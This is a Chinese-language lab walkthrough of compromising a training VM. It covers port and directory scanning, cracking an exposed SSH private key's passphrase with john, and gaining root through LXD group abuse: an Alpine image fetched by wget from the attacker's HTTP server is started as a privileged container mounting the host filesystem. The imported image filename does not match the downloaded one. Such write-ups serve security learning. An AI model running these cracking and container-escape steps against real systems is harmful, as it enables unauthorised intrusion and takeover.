靶机ip:10.10.121.5

信息收集

nmap扫描

nmap --min-rate 10000 -sS -sV -sC 10.10.121.5

image-20241006142136365

只开放了22和80端口

80端口

![image-20241C:/Users/lemon/AppData/Roaming/Typora/typora-user-images/image-20241006142532131.png)

image-20241006142533235

非常炫酷的界面

浏览之后发现在http://10.10.121.5/about.html# 下,有个upload按钮,点击一下

image-20241006142810609

这时候发现就跳转到了可以浏览目录的页面

image-20241006142835118

dict.lst中是一个字典

image-20241006142912365

将其下载到本地,留着以后可能用得上

manifesto.txt内容如下,是一封信

image-20241006143157410

得到一个用户名Mentor

现在我们有了一个用户名和一个密码字典,之前端口探测的时候,发现22端口是开放的,我们可以尝试通过爆破ssh密码尝试登录

获取普通权限

image-20241006144347297

很可惜,没有破解成功,继续尝试扫描一下目录

gobuster dir -u http://10.10.121.5/ -w /usr/share/wordlists/dirb/common.txt

image-20241006144924456

发现有几个特别的信息,查看一下

image-20241006145021856

robots.txt里的信息并不太重要,因为我们之前点击upload访问过这个目录

image-20241006145110462

这个/secret目录是个新目录,之前没有找到,查看一下secretKey文件

image-20241006145147571

发现这是RSA私钥文件,下载下来保存为id_rsa并赋予600权限,爆破加密私钥的密码

先将id_rsa转换为hash格式

ssh2john id_rsa > rsa_hash

image-20241006150304289

使用john开始爆破

john rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt

使用john rsa_hash --show查看结果

image-20241006150548683

找到密码letmein,使用ssh私钥登录

ssh Mentor@10.10.121.5 -i id_rsa

image-20241006151531886

登陆后还是失败了,肯定是之前有哪些信息没有注意到

image-20241006151643801

在首页源码处发现另一个用户john,使用这个用户尝试登录

ssh john@10.10.121.5 -i id_rsa

image-20241006151827027

登陆成功,看来之前的那封信只是一封信而已

image-20241006153329663

直接在当前目录找到user.txt

权限提升

sudo -l由于缺少密码利用不了,查看其他内容时也没有可以利用的信息

使用id查看一下当前权限

image-20241006153614508

发现可以利用lxd提权

  • 攻击机准备
1
2
3
4
5
6
7
8
9
10
通过git将构建好的alpine镜像克隆至本地;执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成
将tar文件发送至目标设备

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
运行完上述命令之后,会在当前目录下创建一个tar.gz文件,之后我们需要将其发送至目标系统

另一方面,我们还需要将alpine镜像发送至目标系统的/tmp目录中
python -m http.server 8081

image-20241006160508143

  • 靶机操作
1
2
cd /tmp
wget http://10.11.101.220:8081/apline-v3.10-x86_64-20191008_1227.tar.gz

image-20241006160620196

镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD了

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage

使用lxc image list命令即可检查可用的容器列表

image-20241006160942338

执行以下命令进行提权

1
2
3
4
5
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id

image-20241006161122252

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源

image-20241006161421526

最后在/mnt/root/root下找到root.txt